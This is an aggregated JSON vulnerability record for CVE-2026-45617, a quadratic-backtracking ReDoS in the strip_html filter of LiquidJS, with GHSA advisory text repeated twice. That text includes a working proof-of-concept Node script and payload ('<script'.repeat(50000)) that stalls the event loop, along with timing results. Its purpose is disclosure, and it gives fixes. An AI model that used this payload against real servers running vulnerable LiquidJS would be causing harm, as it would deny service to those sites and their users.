{"id":"CVE-2026-45617","aliases":["EUVD-2026-37823","GHSA-r7g9-xpmj-5fcq"],"status":"published","title":"LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex","description":"LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('\u003cscript'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00458,"percentile":0.40207,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-05-27T18:08:19Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"liquidjs","fixed_in":["10.26.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.26.0"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.26.0"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/commit/3616a744b9abeb425c217b340a2397d46176afb8","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.26.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45617","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r7g9-xpmj-5fcq"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45617.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45617","title":"LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex","description":"LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('\u003cscript'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.","status":"published","published":"2026-06-17T22:14:38.396Z","modified":"2026-06-18T15:46:28.241Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-37823","description":"LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('\u003cscript'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.","status":"published","published":"2026-06-17T22:14:38Z","modified":"2026-06-18T15:46:28Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:36.672794Z"}],"ghsa":[{"id":"GHSA-r7g9-xpmj-5fcq","title":"LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex","description":"## Summary\n\nThe built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `\u003cscript`, `\u003cstyle`, or `\u003c!--` opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request (`'\u003cscript'.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit — the regex itself runs unbounded.\n\n## Details\n\nThe vulnerable filter is at `src/filters/html.ts:45-49`:\n\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.replace(/\u003cscript[\\s\\S]*?\u003c\\/script\u003e|\u003cstyle[\\s\\S]*?\u003c\\/style\u003e|\u003c.*?\u003e|\u003c!--[\\s\\S]*?--\u003e/g, '')\n}\n```\n\nThe regex contains four lazy patterns:\n1. `\u003cscript[\\s\\S]*?\u003c\\/script\u003e`\n2. `\u003cstyle[\\s\\S]*?\u003c\\/style\u003e`\n3. `\u003c.*?\u003e`\n4. `\u003c!--[\\s\\S]*?--\u003e`\n\nFor an input like `'\u003cscript'.repeat(N)`, the engine encounters N starting `\u003c` positions. At each one it must lazily expand `[\\s\\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).\n\nReachability:\n1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`.\n2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout.\n3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking.\n\nThis is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues — the mechanism here is regex backtracking CPU consumption on a different filter.\n\n## PoC\n\nEmpirical scaling confirmed against a freshly built `liquidjs@10.25.7` bundle on Node 22 / Linux:\n\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst e = new Liquid();\n(async () =\u003e {\n  for (const n of [1000, 2000, 4000, 8000, 16000]) {\n    const payload = '\u003cscript'.repeat(n);\n    const t0 = Date.now();\n    await e.parseAndRender('{{ x | strip_html }}', { x: payload });\n    console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));\n  }\n})();\n\"\n```\n\nVerified output:\n```\nn=1000  inputLen=7000   ms=5\nn=2000  inputLen=14000  ms=12     (2.4x for 2x size)\nn=4000  inputLen=28000  ms=46     (3.8x for 2x size)\nn=8000  inputLen=56000  ms=187    (4.0x for 2x size)\nn=16000 inputLen=112000 ms=737    (3.9x for 2x size)\n```\n\nA larger payload extrapolates straightforwardly:\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst e = new Liquid();\n(async () =\u003e {\n  const payload = '\u003cscript'.repeat(50000);  // 350 KB\n  const t0 = Date.now();\n  await e.parseAndRender('{{ x | strip_html }}', { x: payload });\n  console.log('elapsed ms:', Date.now() - t0);\n})();\n\"\n# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)\n```\n\nThe same pathology applies to `\u003cstyle` and `\u003c!--` openers.\n\n## Impact\n\n- **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.\n- **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.\n- **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed.\n- **memoryLimit doesn't help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal.\n\n## Recommended Fix\n\nReplace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.\n\nOption 1 — anchor each alternative so lazy expansion fails fast on chunked content (no `[\\s\\S]*?` over the full tail):\n```ts\nreturn str.replace(\n  /\u003cscript\\b[^\u003c]*(?:\u003c(?!\\/script\u003e)[^\u003c]*)*\u003c\\/script\u003e|\u003cstyle\\b[^\u003c]*(?:\u003c(?!\\/style\u003e)[^\u003c]*)*\u003c\\/style\u003e|\u003c!--[^-]*(?:-(?!-\u003e)[^-]*)*--\u003e|\u003c[^\u003e]*\u003e/g,\n  ''\n)\n```\nThis unrolls each lazy quantifier so each `\u003c` is visited at most a constant number of times overall — linear total work.\n\nOption 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `\u003cscript\u003e`, `\u003cstyle\u003e`, comment, or generic tag, and emit nothing for those ranges.\n\nEither fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front:\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  // ... linear-time strip implementation here\n}\n```","status":"published","published":"2026-05-27T18:08:19Z","modified":"2026-07-09T21:06:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:40:41.501474Z"}],"nvd":[{"id":"CVE-2026-45617","description":"LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('\u003cscript'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.","status":"published","published":"2026-06-17T23:17:04.033Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:24.544761Z"}],"osv":[{"id":"CVE-2026-45617","title":"LiquidJS: ReDoS via Quadratic Backtracking in `strip_html` Filter Regex","description":"LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the built-in strip_html filter uses a regex containing four flawed lazy-quantified alternatives, leading to ReDoS via quadratic backtracking. When the input contains many \u003cscript, \u003cstyle, or \u003c!-- opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request ('\u003cscript'.repeat(50000)) stalls the process for ~10 seconds; cost grows quadratically with input size. The default memoryLimit: Infinity does not bound regex CPU, and even when configured strip_html only charges str.length to the limit — the regex itself runs unbounded.  A single unauthenticated request containing crafted untrusted input can cause severe event-loop blocking and CPU amplification that saturates Node.js workers while bypassing memoryLimit protections. This issue has been fixed in version 10.26.0.","status":"published","published":"2026-06-17T22:14:38.396Z","modified":"2026-10-28T02:30:41.381412955Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-r7g9-xpmj-5fcq","title":"LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex","description":"## Summary\n\nThe built-in `strip_html` filter in liquidjs uses a regex containing four lazy-quantified alternatives. When the input contains many `\u003cscript`, `\u003cstyle`, or `\u003c!--` opener tokens without matching closers, the V8 regex engine performs O(N²) backtracking, blocking the Node.js event loop. A single ~350 KB request (`'\u003cscript'.repeat(50000)`) stalls the process for ~10 seconds; cost grows quadratically with input size. The default `memoryLimit: Infinity` does not bound regex CPU, and even when configured `strip_html` only charges `str.length` to the limit — the regex itself runs unbounded.\n\n## Details\n\nThe vulnerable filter is at `src/filters/html.ts:45-49`:\n\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.replace(/\u003cscript[\\s\\S]*?\u003c\\/script\u003e|\u003cstyle[\\s\\S]*?\u003c\\/style\u003e|\u003c.*?\u003e|\u003c!--[\\s\\S]*?--\u003e/g, '')\n}\n```\n\nThe regex contains four lazy patterns:\n1. `\u003cscript[\\s\\S]*?\u003c\\/script\u003e`\n2. `\u003cstyle[\\s\\S]*?\u003c\\/style\u003e`\n3. `\u003c.*?\u003e`\n4. `\u003c!--[\\s\\S]*?--\u003e`\n\nFor an input like `'\u003cscript'.repeat(N)`, the engine encounters N starting `\u003c` positions. At each one it must lazily expand `[\\s\\S]*?` (and `.*?`) all the way to end-of-input searching for a closer that never appears, then fail and backtrack. Because each of the O(N) starts performs O(N) lazy-expansion work, total work is O(N²).\n\nReachability:\n1. `strip_html` is a default-registered filter (exported from `src/filters/html.ts`, wired up via `src/filters/index.ts`), invocable from any template via `{{ x | strip_html }}`.\n2. The filter calls `String.prototype.replace` with the vulnerable regex directly on the caller-supplied string, with no length cap and no timeout.\n3. The default `memoryLimit` is `Infinity` (`src/liquid-options.ts:198`); the filter only charges `str.length` against memory (line 47), which does not bound CPU work for regex backtracking.\n\nThis is distinct from `GHSA-45rm-2893-5f49` (prototype property leak, CWE-200) and from any prior `replace`/`strip_html` issues — the mechanism here is regex backtracking CPU consumption on a different filter.\n\n## PoC\n\nEmpirical scaling confirmed against a freshly built `liquidjs@10.25.7` bundle on Node 22 / Linux:\n\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst e = new Liquid();\n(async () =\u003e {\n  for (const n of [1000, 2000, 4000, 8000, 16000]) {\n    const payload = '\u003cscript'.repeat(n);\n    const t0 = Date.now();\n    await e.parseAndRender('{{ x | strip_html }}', { x: payload });\n    console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));\n  }\n})();\n\"\n```\n\nVerified output:\n```\nn=1000  inputLen=7000   ms=5\nn=2000  inputLen=14000  ms=12     (2.4x for 2x size)\nn=4000  inputLen=28000  ms=46     (3.8x for 2x size)\nn=8000  inputLen=56000  ms=187    (4.0x for 2x size)\nn=16000 inputLen=112000 ms=737    (3.9x for 2x size)\n```\n\nA larger payload extrapolates straightforwardly:\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst e = new Liquid();\n(async () =\u003e {\n  const payload = '\u003cscript'.repeat(50000);  // 350 KB\n  const t0 = Date.now();\n  await e.parseAndRender('{{ x | strip_html }}', { x: payload });\n  console.log('elapsed ms:', Date.now() - t0);\n})();\n\"\n# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)\n```\n\nThe same pathology applies to `\u003cstyle` and `\u003c!--` openers.\n\n## Impact\n\n- **Single-request DoS:** A 350 KB request body stalls the Node.js event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s. All other requests on the process queue behind the regex.\n- **Trivial amplification:** Quadratic scaling means small attacker bandwidth produces large server CPU consumption. A handful of concurrent requests fully saturates the worker.\n- **No authentication required:** The typical use case for `strip_html` is sanitizing untrusted input (comments, posts, profile bios, product descriptions). Any endpoint that renders user content through `strip_html` is exposed.\n- **memoryLimit doesn't help:** Even applications that opt into `memoryLimit` are not protected, because (a) the regex CPU runs to completion before any output is produced, and (b) only `str.length` is charged, not the cost of the regex traversal.\n\n## Recommended Fix\n\nReplace the backtracking regex with an atomic / non-overlapping pattern, and/or perform a single linear pass.\n\nOption 1 — anchor each alternative so lazy expansion fails fast on chunked content (no `[\\s\\S]*?` over the full tail):\n```ts\nreturn str.replace(\n  /\u003cscript\\b[^\u003c]*(?:\u003c(?!\\/script\u003e)[^\u003c]*)*\u003c\\/script\u003e|\u003cstyle\\b[^\u003c]*(?:\u003c(?!\\/style\u003e)[^\u003c]*)*\u003c\\/style\u003e|\u003c!--[^-]*(?:-(?!-\u003e)[^-]*)*--\u003e|\u003c[^\u003e]*\u003e/g,\n  ''\n)\n```\nThis unrolls each lazy quantifier so each `\u003c` is visited at most a constant number of times overall — linear total work.\n\nOption 2 — single-pass tokenizer in plain code; iterate over the string once, tracking whether you are inside `\u003cscript\u003e`, `\u003cstyle\u003e`, comment, or generic tag, and emit nothing for those ranges.\n\nEither fix should be combined with charging the regex output cost honestly to `memoryLimit` and (defensively) capping input length up front:\n```ts\nexport function strip_html (this: FilterImpl, v: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  // ... linear-time strip implementation here\n}\n```","status":"published","published":"2026-05-27T18:08:19Z","modified":"2026-09-10T03:50:47.469373269Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:55.480549Z"}]}}